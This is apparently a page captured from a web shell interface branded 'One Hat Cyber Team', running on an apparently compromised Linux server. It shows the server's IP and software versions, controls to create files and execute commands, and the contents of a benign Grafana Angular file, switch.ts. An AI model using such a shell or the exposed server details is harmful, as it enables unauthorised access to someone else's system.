⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
angular
/
components
/
View File Name :
switch.ts
import coreModule from 'app/angular/core_module'; const template = `
{{ctrl.label}}
{{ctrl.tooltip}}
`; const checkboxTemplate = `
{{ctrl.label}}
{{ctrl.tooltip}}
`; export class SwitchCtrl { onChange: any; checked: any; show: any; id: any; label?: string; static $inject = ['$scope', '$timeout']; constructor( $scope: any, private $timeout: any ) { this.show = true; this.id = $scope.$id; } internalOnChange() { return this.$timeout(() => { return this.onChange(); }); } } export function switchDirective() { return { restrict: 'E', controller: SwitchCtrl, controllerAs: 'ctrl', bindToController: true, scope: { checked: '=', label: '@', labelClass: '@', tooltip: '@', switchClass: '@', onChange: '&', }, template: template, }; } export function checkboxDirective() { return { restrict: 'E', controller: SwitchCtrl, controllerAs: 'ctrl', bindToController: true, scope: { checked: '=', label: '@', labelClass: '@', tooltip: '@', switchClass: '@', onChange: '&', }, template: checkboxTemplate, }; } coreModule.directive('gfFormSwitch', switchDirective); coreModule.directive('gfFormCheckbox', checkboxDirective);